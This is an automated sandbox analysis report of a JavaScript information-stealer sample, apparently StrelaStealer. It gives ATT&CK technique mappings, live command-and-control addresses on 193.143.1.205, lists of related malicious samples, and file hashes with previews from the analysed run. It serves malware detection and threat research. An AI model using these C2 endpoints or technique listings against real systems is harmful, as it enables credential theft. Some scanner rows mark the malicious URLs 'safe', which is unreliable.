Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18620271451234622924.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
18620271451234622924.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/K	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/G	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high
206.23.85.13.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3327383892.000002476F200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2115175608.000002476F100000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/K	net.exe, 00000007.00000002.2120631663.000002513D946000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D946000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/G	net.exe, 00000007.00000002.2120631663.000002513D946000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D946000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2120526896.000002513D918000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D93C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2109526764.000002513D96C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120631663.000002513D93C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117666715.000002513D946000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588709
Start date and time:	2025-01-11 04:28:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18620271451234622924.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.16.168.105, 2.16.168.107, 172.202.163.200, 13.107.246.45, 23.56.162.204, 13.85.23.206, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:29:20	API Interceptor	25x Sleep call for process: powershell.exe modified
22:29:24	API Interceptor	1x Sleep call for process: net.exe modified
22:29:24	API Interceptor	2x Sleep call for process: svchost.exe modified
22:29:37	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307219305072279
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugY:gJjJGtpTq2yv1AuNZRY3diu8iBVqF2
MD5:	B117021CE76E864A1D674CD7C0444B68
SHA1:	DC59ADC98ABB9D308BD34C8438D81C1AA8B27D11
SHA-256:	134E9B472EE4C239F0F1506300BE3A579932EBD4C379BFAC63168B2902D5BFDB
SHA-512:	F6F22F35F9F433BFE83A4ACD44C39A9153B957988F4EFD277A082DA050DEB8395B938DCDF160DFA7B7144B327A2E2570E5F214246717D350CE5D861503A3FC4C
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6452ec15, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585696328907487
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D3506CA735925E0C3A2E70C847BB7BB6
SHA1:	BAF6483A50A2612A580339CB58502A50330EC9FF
SHA-256:	6AD4174C685583326BE8165B2E167E2EF14505D186F6A450040D20B7F22D0082
SHA-512:	8554B8CCE116F5F7D70C2AD40743341648159D518F51BD08DA57DAD4696383F151AE9714056270DB414C930669E976E4D48F0E6BF963017CE91A17F92B7F8E97
Malicious:	false
Preview:	dR..... ...............X\...;...{......................0.z..........{.......}%.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................<$b.....}}.................5.]......}?..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08117463252185073
Encrypted:	false
SSDEEP:	3:0Z6YeL6joVGuAJkhvekl1Dop1ollrekGltll/SPj:0gzLEGrxlhDJe3l
MD5:	C4361281C17966BB5376AB59D81111B6
SHA1:	6A67547BA64A63177D0B441238C5555E2855DB74
SHA-256:	FA2F3DF25C313C7C42528F0040F9588D15A631881281AC442913A4F701D6A500
SHA-512:	BC44D32096DEE52D73049C0F5F9F18149FDFA5E0F867FD0A8A171673257BF05CFBDB5053808EE5F77E1EA413174BCA3FAEE72C720C7B8F80FE7A8374F6C2EDBC
Malicious:	false
Preview:	.pwE.....................................;...{.......}?......{...............{.......{...XL......{..................5.]......}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.169959755070903
Encrypted:	false
SSDEEP:	6:iO4qXphwVq2P92nKuAl9OmbnIFUtSqXfgZmwsqXlWIkwO92nKuAl9OmbjLJ:7av4HAahFUtU/B5LHAaSJ
MD5:	5D2F41ECA6D244A945C7AC45E3FF27A7
SHA1:	906BBCAD1383028554C2302F593FC906EE8B8B39
SHA-256:	63FF0912158C570D7437100846A8377633E39FDDAACE3F59FC7462E02C2FA00C
SHA-512:	5ED1A06D36074C08162101BAFB0DBC86419D64E491613B6F35DD0A85A7AC3553B6D69B86937852327A2A3335F93AE067F0175E4973FA4E030F769F5312FFCD91
Malicious:	false
Preview:	2025/01/10-22:29:24.645 f20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:29:24.648 f20 Recovering log #3.2025/01/10-22:29:24.649 f20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.169959755070903
Encrypted:	false
SSDEEP:	6:iO4qXphwVq2P92nKuAl9OmbnIFUtSqXfgZmwsqXlWIkwO92nKuAl9OmbjLJ:7av4HAahFUtU/B5LHAaSJ
MD5:	5D2F41ECA6D244A945C7AC45E3FF27A7
SHA1:	906BBCAD1383028554C2302F593FC906EE8B8B39
SHA-256:	63FF0912158C570D7437100846A8377633E39FDDAACE3F59FC7462E02C2FA00C
SHA-512:	5ED1A06D36074C08162101BAFB0DBC86419D64E491613B6F35DD0A85A7AC3553B6D69B86937852327A2A3335F93AE067F0175E4973FA4E030F769F5312FFCD91
Malicious:	false
Preview:	2025/01/10-22:29:24.645 f20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:29:24.648 f20 Recovering log #3.2025/01/10-22:29:24.649 f20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.176381128909396
Encrypted:	false
SSDEEP:	6:iO4qXzJXt+q2P92nKuAl9Ombzo2jMGIFUtSqXxu0ZmwsqXMf9VkwO92nKuAl9OmT:7VZov4HAa8uFUt80/u75LHAa8RJ
MD5:	BF230CBD08B86AD45959316D419D1DBC
SHA1:	7A7C92C1E08CA3A2FCB756D9586F42E34003DAFC
SHA-256:	F485C1EDB5F5FB80E8C98CB868D5988B1766E641CD8BD0D66DFAD04E005B55E3
SHA-512:	70C2584A7EFCEDB2E5C53B0F9D4CE2CADC328C55E9645239CA094E1395D5C7223C956936D2B1D8BD098C49EF0F80F932960438CA3CA1F4B248BC5B159116190A
Malicious:	false
Preview:	2025/01/10-22:29:24.661 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:29:24.663 1c28 Recovering log #3.2025/01/10-22:29:24.671 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.176381128909396
Encrypted:	false
SSDEEP:	6:iO4qXzJXt+q2P92nKuAl9Ombzo2jMGIFUtSqXxu0ZmwsqXMf9VkwO92nKuAl9OmT:7VZov4HAa8uFUt80/u75LHAa8RJ
MD5:	BF230CBD08B86AD45959316D419D1DBC
SHA1:	7A7C92C1E08CA3A2FCB756D9586F42E34003DAFC
SHA-256:	F485C1EDB5F5FB80E8C98CB868D5988B1766E641CD8BD0D66DFAD04E005B55E3
SHA-512:	70C2584A7EFCEDB2E5C53B0F9D4CE2CADC328C55E9645239CA094E1395D5C7223C956936D2B1D8BD098C49EF0F80F932960438CA3CA1F4B248BC5B159116190A
Malicious:	false
Preview:	2025/01/10-22:29:24.661 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:29:24.663 1c28 Recovering log #3.2025/01/10-22:29:24.671 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.042572028677476
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0hsBdOg2Hyfcaq3QYiubxnP7E4T3OF+:Y2sRds3ydMHyu3QYhbxP7nbI+
MD5:	190C5906B91BD527634D02324ED787F4
SHA1:	B63279955222A7061271F095E756883BFE9E48DA
SHA-256:	867D7EF525A799BBF5FC965426616891D098D213C199A37491F7DEB5EBF9CAD7
SHA-512:	206B5224AE7FB9B7401AB9957D66231455405258697938B644651CA9F19CC4E9BCF6B64A5B2F7F4323A06E76C71E75F3A3B0A3DB7382A09D34FA568C1D75BBDE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126177113926","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126126},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b6ef998d-acf9-4cd9-bf84-421832dd214c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.042572028677476
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0hsBdOg2Hyfcaq3QYiubxnP7E4T3OF+:Y2sRds3ydMHyu3QYhbxP7nbI+
MD5:	190C5906B91BD527634D02324ED787F4
SHA1:	B63279955222A7061271F095E756883BFE9E48DA
SHA-256:	867D7EF525A799BBF5FC965426616891D098D213C199A37491F7DEB5EBF9CAD7
SHA-512:	206B5224AE7FB9B7401AB9957D66231455405258697938B644651CA9F19CC4E9BCF6B64A5B2F7F4323A06E76C71E75F3A3B0A3DB7382A09D34FA568C1D75BBDE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381126177113926","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126126},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235892057970439
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUsVQtc2:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLq
MD5:	33092730CA54991F3A74AD44B9084E8B
SHA1:	10260DE1027429806A2368A4ECBA4D95292F1CB0
SHA-256:	AB13A9667C9B75B39484627A735B47E8CA34B2EDEED27DB08853C48A5CB8D4C6
SHA-512:	E47CA15B5513452702C558E64AE9D59A03040A203B20F4A47E75D79FF4496AF7853CD3E0DF30A924C9D99FB1167BB5F91D3791DBAB1FF0DAE1A7165B5BC960C6
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.146480928987259
Encrypted:	false
SSDEEP:	6:iO4qX/1+q2P92nKuAl9OmbzNMxIFUtSqXaJXZZmwsqXvVkwO92nKuAl9OmbzNMFd:72v4HAa8jFUtO5Z/j5LHAa84J
MD5:	26A0FD4B6F99BFCECB274FBDBF7AF77F
SHA1:	62BF2C2E953226E123D48489709373292B153DF9
SHA-256:	D26315DA8CC1E20647A61656002356077AB7659CB9A60DE83174FC0B636984CA
SHA-512:	D1CEAEDBB34FFCEA7A7D0A5674F12FDC3B9C38439527F69B44255E8AB74CA3D3D231D34DA64379CE72520FA718A7CE4CA80559FE4545E8FF5081E67D1B43D4E2
Malicious:	false
Preview:	2025/01/10-22:29:24.928 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:29:24.930 1c28 Recovering log #3.2025/01/10-22:29:24.931 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.146480928987259
Encrypted:	false
SSDEEP:	6:iO4qX/1+q2P92nKuAl9OmbzNMxIFUtSqXaJXZZmwsqXvVkwO92nKuAl9OmbzNMFd:72v4HAa8jFUtO5Z/j5LHAa84J
MD5:	26A0FD4B6F99BFCECB274FBDBF7AF77F
SHA1:	62BF2C2E953226E123D48489709373292B153DF9
SHA-256:	D26315DA8CC1E20647A61656002356077AB7659CB9A60DE83174FC0B636984CA
SHA-512:	D1CEAEDBB34FFCEA7A7D0A5674F12FDC3B9C38439527F69B44255E8AB74CA3D3D231D34DA64379CE72520FA718A7CE4CA80559FE4545E8FF5081E67D1B43D4E2
Malicious:	false
Preview:	2025/01/10-22:29:24.928 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:29:24.930 1c28 Recovering log #3.2025/01/10-22:29:24.931 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklAXskpkNttfllXlE/HT8kTlzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKZXskyeT8eJdNMa8RdWBwRd
MD5:	6B0CB4905A1FF563115A182BA1DD29E0
SHA1:	38F8728F75117D8C4C7AB7EDC47964A6E5676658
SHA-256:	10F55ECAC3E02C9270E452CA300BFF5B090227A35BD4956F9E090CB22DDA9E32
SHA-512:	2C14FFEDB9C16D55B70620F47A912BBB83E3C7AD1A0DF9D20CC2E41E2350DDBF65DC9C1DF5872EE4BB9388C5C9300EE204CDAF3F3A6B99F818F806A1A59EF1C3
Malicious:	false
Preview:	p...... ........sr...c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
